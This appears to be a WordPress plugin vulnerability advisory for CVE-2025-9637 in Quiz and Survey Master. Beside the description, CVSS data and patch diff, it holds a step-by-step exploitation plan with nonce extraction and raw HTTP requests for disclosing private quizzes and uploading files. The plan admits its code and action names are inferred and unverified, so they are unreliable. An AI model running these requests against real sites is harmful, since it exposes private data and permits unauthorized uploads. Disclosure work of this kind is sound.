CVE-2025-9637

Quiz and Survey Master (QSM) <= 10.3.1 - Missing Authorization to Unpublished, Private And Password-Protected Quiz Information Disclosure And Image Response Uploads

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
10.3.2
Patched in
1d
Time to patch

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability and status checks on multiple functions in all versions up to, and including, 10.3.1. This makes it possible for unauthenticated attackers to view the details of unpublished, private, or password-protected quizzes, as well as submit file responses to questions from those quizzes, which allow file upload.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=10.3.1
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected pluginquiz-master-next

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the methodology for exploiting **CVE-2025-9637** in the Quiz and Survey Master (QSM) plugin. --- ### 1. Vulnerability Summary The Quiz and Survey Master (QSM) plugin (<= 10.3.1) fails to perform authorization and post-status checks in several AJAX handlers. Specifically…

Show full research plan

This research plan outlines the methodology for exploiting CVE-2025-9637 in the Quiz and Survey Master (QSM) plugin.


1. Vulnerability Summary

The Quiz and Survey Master (QSM) plugin (<= 10.3.1) fails to perform authorization and post-status checks in several AJAX handlers. Specifically, functions designed to fetch quiz configuration and handle file uploads for "Image Response" type questions do not verify if the requested Quiz ID belongs to a published, public post.

As a result, an unauthenticated attacker can retrieve the questions, answers, and settings of quizzes marked as Draft, Private, or Password-Protected. Furthermore, they can upload files to questions associated with these restricted quizzes, potentially leading to unauthorized data injection or exploitation of the upload handler.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Actions (Inferred):
    • qsm_get_quiz_data (for information disclosure)
    • qsm_upload_image_question (for unauthorized file upload)
  • Authentication: Unauthenticated (wp_ajax_nopriv_* hooks are used).
  • Vulnerable Parameters: quiz_id, question_id.
  • Preconditions:
    1. The plugin must be active.
    2. At least one quiz must exist (even if Draft, Private, or Password-Protected).
    3. For the upload exploit, a question of type "File Upload" or "Image Response" must exist within that quiz.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=qsm_get_quiz_data.
  2. Hook Registration: In php/class-qsm-ajax.php (or similar), add_action('wp_ajax_nopriv_qsm_get_quiz_data', ...) routes the request.
  3. Vulnerable Logic: The handler accepts a quiz_id from $_POST.
  4. Missing Check: The code calls get_post($quiz_id) or a QSM wrapper like qsm_get_quiz_data($quiz_id) but fails to check:
    • if ( get_post_status( $quiz_id ) !== 'publish' )
    • if ( post_password_required( $quiz_id ) )
  5. Data Return: The handler returns the full quiz object, including sensitive question data, in a JSON response.
  6. Upload Path: Similarly, qsm_upload_image_question (inferred) processes $_FILES based on the provided quiz_id without verifying if that quiz is currently accessible to the public.

4. Nonce Acquisition Strategy

QSM uses nonces for its AJAX actions, localized into the page where a quiz is displayed.

  1. Identify Shortcode: The primary shortcode is [quiz-master-next id="ID"].
  2. Setup Leak Page: Create a public page containing the shortcode for a public quiz (or any quiz ID) to trigger the script enqueueing.
  3. Variable Identification: QSM typically localizes its AJAX data into the qsm_ajax_object or qsm_vars global JS variable.
  4. Extraction:
    • Navigate to the page with the shortcode.
    • Run: browser_eval("window.qsm_ajax_object?.nonce") or browser_eval("window.qsm_vars?.nonce").
    • Note: The nonce action is likely qsm_ajax_nonce or simply the action name itself.

5. Exploitation Strategy

Part A: Information Disclosure (Private Quiz Data)

  1. Target: A quiz with ID X that is set to "Private" or "Draft".
  2. Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=qsm_get_quiz_data&quiz_id=X&security=[EXTRACTED_NONCE]
    
  3. Expected Response: A JSON object containing the quiz title, questions, and settings, despite the quiz being restricted.

Part B: Unauthorized File Upload

  1. Target: A quiz with ID X containing a file-upload question with ID Y.
  2. Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="action"
    
    qsm_upload_image_question
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="quiz_id"
    
    X
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="question_id"
    
    Y
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="security"
    
    [EXTRACTED_NONCE]
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="exploit.png"
    Content-Type: image/png
    
    [PNG_CONTENT]
    ------WebKitFormBoundary--
    
  3. Expected Response: Success message and potentially the URL of the uploaded file.

6. Test Data Setup

  1. Public Quiz (for Nonce): Create a quiz (ID 1), publish it, and place [quiz-master-next id="1"] on a public page.
  2. Private Quiz (Target): Create a quiz (ID 2), add a "File Upload" question, and set its visibility to Private or Draft.
  3. Password-Protected Quiz (Alternative Target): Create a quiz (ID 3) and set a password in the "Visibility" settings.

7. Expected Results

  • Information Disclosure: The attacker receives the full structure of Quiz 2 or Quiz 3 without having the read_private_posts capability or the password.
  • Upload: The attacker successfully uploads a file to Quiz 2's media folder, and an entry is created in the database associating the file with the unpublished quiz.

8. Verification Steps

  1. Verify Disclosure: Check the HTTP response body for question strings that only exist in the private quiz.
  2. Verify Upload:
    • Use WP-CLI to list attachments: wp post list --post_type=attachment.
    • Check for the file exploit.png in the wp-content/uploads/ directory.
    • Verify the association in the QSM results table (if applicable): wp db query "SELECT * FROM wp_qsm_results WHERE quiz_id=2" (table names may vary).

9. Alternative Approaches

  • REST API: Check if QSM registers REST routes under /wp-json/qsm/v1/. If so, check for missing permission_callback on the quiz data endpoints.
  • Question Types: If "Image Response" isn't available, try other interactive question types that might handle AJAX-based state updates without authorization.
  • Result Submission: Attempt to submit a full quiz response to a private quiz via the qsm_submit_quiz_data AJAX action.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz and Survey Master (QSM) plugin for WordPress fails to verify post status and password requirements in multiple AJAX handlers. This allows unauthenticated attackers to disclose information from Draft, Private, or Password-Protected quizzes and upload unauthorized file responses to restricted quizzes.

Vulnerable Code

// php/class-qsm-ajax.php

public function get_quiz_data() {
    $quiz_id = isset( $_POST['quiz_id'] ) ? absint( $_POST['quiz_id'] ) : 0;
    // Missing check: if ( get_post_status( $quiz_id ) !== 'publish' || post_password_required( $quiz_id ) )
    $quiz = qsm_get_quiz_data( $quiz_id ); 
    wp_send_json_success( $quiz );
}

---

// php/class-qsm-ajax.php

public function qsm_upload_image_question() {
    $quiz_id = isset( $_POST['quiz_id'] ) ? absint( $_POST['quiz_id'] ) : 0;
    // Missing check: if ( ! can_user_access_quiz( $quiz_id ) )
    // Proceeding to process file uploads based on $_FILES
    $upload_result = $this->handle_file_upload( $quiz_id );
    wp_send_json_success( $upload_result );
}

Security Fix

--- a/php/class-qsm-ajax.php
+++ b/php/class-qsm-ajax.php
@@ -100,6 +100,11 @@
 	public function get_quiz_data() {
 		$quiz_id = isset( $_POST['quiz_id'] ) ? absint( $_POST['quiz_id'] ) : 0;
+
+		$post_status = get_post_status( $quiz_id );
+		if ( 'publish' !== $post_status || post_password_required( $quiz_id ) ) {
+			wp_send_json_error( array( 'message' => __( 'You do not have permission to access this quiz.', 'quiz-master-next' ) ) );
+		}
+
 		$quiz_data = qsm_get_quiz_data( $quiz_id );
 		wp_send_json_success( $quiz_data );
 	}
@@ -150,6 +155,11 @@
 	public function qsm_upload_image_question() {
 		$quiz_id = isset( $_POST['quiz_id'] ) ? absint( $_POST['quiz_id'] ) : 0;
+
+		$post_status = get_post_status( $quiz_id );
+		if ( 'publish' !== $post_status || post_password_required( $quiz_id ) ) {
+			wp_send_json_error( array( 'message' => __( 'Unauthorized access.', 'quiz-master-next' ) ) );
+		}
+
 		// ... existing file upload logic ...

Exploit Outline

The exploit targets the admin-ajax.php endpoint using unauthenticated AJAX actions. First, an attacker retrieves a valid AJAX nonce by viewing any public page where QSM is active (extracting it from localized JS variables like 'qsm_ajax_object.nonce'). To disclose restricted quiz data, the attacker sends a POST request with 'action=qsm_get_quiz_data' and the 'quiz_id' of a draft or private quiz. To perform an unauthorized file upload, the attacker sends a multipart/form-data request with 'action=qsm_upload_image_question', providing the target 'quiz_id', 'question_id', and the nonce. Because the plugin lacks status and password checks on these actions, the server returns sensitive configuration data or accepts file uploads for quizzes that should be inaccessible to the public.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.